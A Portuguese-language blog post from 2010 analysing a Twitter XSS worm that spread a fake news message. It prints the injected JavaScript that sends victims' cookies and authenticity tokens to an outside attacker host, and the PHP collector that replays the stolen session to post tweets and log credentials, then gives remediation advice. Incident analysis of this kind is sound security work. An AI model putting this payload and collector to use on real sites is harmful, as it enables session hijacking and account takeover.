terça-feira, 7 de setembro de 2010

Um worm no Twitter

História

No dia 6 se setembro, a seguinte mensagem se espalhou no twitter:



Ao clicar no link, o usuário era redirecionado para a página do criador do worm (@Joseph_Felix, agora desativado), além de postar uma cópia da mensagem acima.

A mensagem se espalhou numa explosão combinatorial para praticamente todo o twitter.

Não demoraram muito a descobrirem como a falha funcionava e a imitaram:



@octanefx foi muito menos bozinho que @Joseph_Felix e com os cookies que roubou, transformou um pedaço do twitter em sua marionete:



Segundo ele mesmo, "Mesmo depois de solucionado o problema no site do twitter, ainda posso manipular as contas por algum tempo."

Enquanto isso, @Joseph_Felix revelava suas verdadeiras intenções:



A falha

O Twitter tinha um problema de XSS (http://www.xssed.com/news/116/Twitter_developer_platform_search_field_vulnerable_to_XSS_/) que permitia injetar um código javascript e assim obter o cookie do subdomínio dev.twitter.com. Esse cookie pode ser usado em qualquer página do domínio twitter.com. No caso, foi usado para postar uma mensagem na timeline. O exploit criado injetava o segunte código:


window.onload=function(){
location.href='//dgoh-codes.com/joseph/twitter/?cookie='.concat(escape(document.cookie),'&token=',document.body.innerHTML.match(/value\', \'([^\']+)/i)[1]);
}


Esse código envia 2 informações à página "dgoh-codes.com/joseph/twitter":

  • Os cookies do usuário (document.cookie)
  • O authencity_token do usuário. Esse token serve para evitar ataques CSRF


O Código que @Joseph_Felix usou em dgoh-codes.com/joseph/twitter foi:

<?php
$inf = $_GET["cookie"];
$token = $_GET["token"];
$status = "Pe Lanza da banda Restart sofre acidente tragico | http://bit.ly/d5Pho8";
if (!empty($inf) && !empty($token))
{
$c = curl_init("http://twitter.com/status/update");
curl_setopt_array($c, Array(
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIE => $inf,
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => "authenticity_token={$token}&status=".rawurlencode($status)."&twttr=true&return_rendered_status=true&lat=&lon=&place_id=&display_coordinates=false"
));
$posta = curl_exec($c);
print $posta;
$fp = fopen("arquivo_cookie.txt", "a");
fwrite($fp, "Cookie: " . $inf . "\r\nAuthenticity_token: {$token}\r\n\r\n");
fclose($fp);
header("Location: http://twitter.com/Joseph_Felix");
}
?>


Este código também está em http://pastebin.com/pFUtvM42

O exploit criado funciona da seguinte maneira:
  • Usuário do twitter entre no link malicioso
  • Usuário é redirecionado para dev.twitter.com
  • Através da falha de XSS, o código injeta um javascript que envia o conteúdo de document.cookie e do authenticity_token para "dgoh-codes.com/joseph/twitter" (ou worm_pe_lanza)
  • A página worm_pe_lanza cria uma requisição para http://twitter.com/status/update com as seguintes informações:

    • Cookie: a informação recebida por "$_GET["cookie"];"

    • Tipo de requisição : POST

    • valores enviados
    • authenticity_token= valor em "$_GET["token"]"
      status="Pe Lanza da banda Restart sofre acidente tragico | http://bit.ly/d5Pho8"
      twttr=true
      return_rendered_status=true
      display_coordinates=false


  • A página worm_pe_lanza salva o cookie E o token do usuário num arquivo arquivo_cookie.txt.

  • Usuário é redirecionado para http://twitter.com/Joseph_Felix


Solução?

O exploit usa do cookie e do authenticity token para criar o worm. Porém, basta que o exploit tenha o cookie que ele pode obter o token, bastando pra isso fazer um get a dev.twitter.com (como observado pelo @viniciuskmax).

A única solução é renovar o cookie, para que o cookie roubado fique inútil. @RodLac disse que trocar uma senha basta para invalidar um cookie, mas logout/login não. @altieres sugere, além de trocar a senha, limpar o cache (pois alguns antivirus colocaram o exploit na sua base de dados, e podem detectá-lo se ele ainda residir em algum cache do navegador.

Em suma: se você foi atingido, troque sua senha.

Nenhum comentário: